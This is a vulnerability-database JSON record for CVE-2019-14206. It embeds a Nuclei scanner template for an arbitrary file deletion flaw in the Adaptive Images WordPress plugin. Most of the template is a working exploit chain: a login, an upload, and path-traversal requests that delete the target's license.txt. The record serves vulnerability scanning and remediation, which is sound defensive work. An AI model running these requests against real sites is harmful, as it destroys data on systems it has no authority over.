{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2019-14206/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2019-14206/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2019-14206/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2019-14206/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2019-14206/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2019-14206"},"sightings":{"href":"/api/v1/sightings/cve-2019-14206"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2019/CVE-2019-14206.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2019-14206\n\ninfo:\n  name: Nevma Adaptive Images - Arbitrary File Deletion\n  author: riteshs4hu\n  severity: high\n  description: |\n    Nevma Adaptive Images plugin before 0.6.67 for WordPress contains an arbitrary file deletion caused by unsanitized input in adaptive-images-script.php, letting remote attackers delete arbitrary files, exploit requires sending specific request parameters.\n  impact: |\n    Remote attackers can delete arbitrary files on the server, potentially causing data loss and service disruption.\n  remediation: |\n    Update to version 0.6.67 or later.\n  reference:\n    - https://wordpress.org/plugins/adaptive-images/#developers\n    - https://wpscan.com/vulnerability/025a47f0-eddc-46dd-b994-e1e824dc5225/\n    - https://github.com/markgruffer/markgruffer.github.io/blob/master/_posts/2019-07-19-adaptive-images-for-wordpress-0-6-66-lfi-rce-file-deletion.markdown\n    - https://markgruffer.github.io/2019/07/19/adaptive-images-for-wordpress-0-6-66-lfi-rce-file-deletion.html\n    - https://wpvulndb.com/vulnerabilities/9468\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-14206\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2019-14206\n    cwe-id: CWE-22\n    epss-score: 0.04728\n    epss-percentile: 0.9188\n    cpe: cpe:2.3:a:nevma:adaptive_images:*:*:*:*:*:wordpress:*:*\n  metadata:\n    verified: true\n    max-request: 9\n    vendor: nevma\n    product: adaptive_images\n  tags: cve,cve2019,nevma,adaptive-images,vkev,vuln\n\nflow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) && http(7) && http(8) && http(9)\n\nvariables:\n  fname: \"{{rand_text_alpha(10)}}.jpeg\"\n  rev: \"{{rand_int(1000, 9999)}}\"\n  img: \"{{base64_decode('/9j/4AAQSkZJRgABAQEASABIAAD/2wBDAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/2wBDAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/wgARCAABAAEDAREAAhEBAxEB/8QAFAABAAAAAAAAAAAAAAAAAAAACf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhADEAAAAX8P/8QAFBABAAAAAAAAAAAAAAAAAAAAAP/aAAgBAQABBQJ//8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAgBAwEBPwF//8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAgBAgEBPwF//8QAFBABAAAAAAAAAAAAAAAAAAAAAP/aAAgBAQAGPwJ//8QAFBABAAAAAAAAAAAAAAAAAAAAAP/aAAgBAQABPyF//9oADAMBAAIAAwAAABAf/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAgBAwEBPxB//8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAgBAgEBPxB//8QAFBABAAAAAAAAAAAAAAAAAAAAAP/aAAgBAQABPxB//9k=')}}\"\n\nhttp:\n  - raw:\n      - |\n        GET /license.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 200\"\n          - \"contains(body, 'WordPress')\"\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Cookie: wordpress_test_cookie=WP%20Cookie%20check\n\n        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 302\n          - contains(header, \"wordpress_logged_in\")\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-admin/media-new.php HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: wp_nonce\n        group: 1\n        regex:\n          - '\"_wpnonce\"\\s*:\\s*\"([a-f0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/async-upload.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=---------------------------263427179238165382561022069118\n\n        -----------------------------263427179238165382561022069118\n        Content-Disposition: form-data; name=\"name\"\n\n        {{fname}}\n        -----------------------------263427179238165382561022069118\n        Content-Disposition: form-data; name=\"post_id\"\n\n        0\n        -----------------------------263427179238165382561022069118\n        Content-Disposition: form-data; name=\"_wpnonce\"\n\n        {{wp_nonce}}\n        -----------------------------263427179238165382561022069118\n        Content-Disposition: form-data; name=\"type\"\n\n\n        -----------------------------263427179238165382561022069118\n        Content-Disposition: form-data; name=\"tab\"\n\n\n        -----------------------------263427179238165382561022069118\n        Content-Disposition: form-data; name=\"short\"\n\n        1\n        -----------------------------263427179238165382561022069118\n        Content-Disposition: form-data; name=\"async-upload\"; filename=\"{{fname}}\"\n        Content-Type: image/jpeg\n\n        {{img}}\n        -----------------------------263427179238165382561022069118--\n\n    extractors:\n      - type: regex\n        name: attachment_id\n        group: 1\n        part: header\n        regex:\n          - 'X-Wp-Upload-Attachment-Id:\\s*([0-9]+)'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/async-upload.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded; charset=UTF-8\n\n        attachment_id={{attachment_id}}&fetch=3\n\n  - raw:\n      - |\n        GET /wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-content/uploads/2026/01/{{fname}} HTTP/1.1\n        Host: {{Hostname}}\n\n  - raw:\n      - |\n        GET /wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-content/uploads/2026/01/{{fname}}&adaptive-images-settings[resolution]=&resolution={{rev}} HTTP/1.1\n        Host: {{Hostname}}\n\n  - raw:\n      - |\n        GET /wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-content/uploads/2026/01/{{fname}}&adaptive-images-settings[resolution]=&resolution={{rev}}&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=license.txt&adaptive-images-settings[watch_cache]=1 HTTP/1.1\n        Host: {{Hostname}}\n\n  - raw:\n      - |\n        GET /license.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 404\"\n# digest: 4a0a00473045022078fdd0b5041de1964035231416d5040c486405d3f90acd13e5406517f9eefc910221009507f5b5e44aa0804e658e71d0b1714629d21d9324f2268be604837144c07e59:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2019-14206"}